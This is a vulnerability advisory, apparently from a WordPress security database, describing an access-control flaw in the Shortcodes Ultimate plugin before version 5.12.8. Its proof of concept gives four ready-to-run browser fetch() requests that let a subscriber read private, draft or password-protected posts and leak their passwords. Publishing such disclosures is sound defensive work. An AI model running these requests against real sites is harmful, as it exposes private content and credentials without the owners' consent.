WordPress Plugin Vulnerabilities

Shortcodes Ultimate < 5.12.8 - Subscriber+ Arbitrary Post Access

Description

The plugin does not ensure that posts to be displayed via some shortcodes are already public and can be accessed by the user making the request, allowing any authenticated users such as subscriber to view draft, private or even password protected posts. It is also possible to leak the password of protected posts

Proof of Concept

Run one of the below command in the developer console of the web browser while being on the blog as a subscriber

Via su_post shortcode:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_post field='the_content' post_id='14']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the content of the post with ID 14 (such as a draft/private/password protected one)

To leak the password of a protected post:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_post field='post_password' post_id='20']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));


Via su_posts shortcode:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='private']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display all private posts and their content (pwd protected content won't be displayed here though)

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_posts post_status='any' id='14,20']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the posts with id 14 and 20 along with their and their content (pwd protected content won't be displayed)

Affects Plugins

Fixed in 5.12.8

References

Classification

Type
SENSITIVE DATA DISCLOSURE
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-02-27 (about 1 years ago)
Added
2023-02-27 (about 1 years ago)
Last Updated
2023-02-27 (about 1 years ago)

Other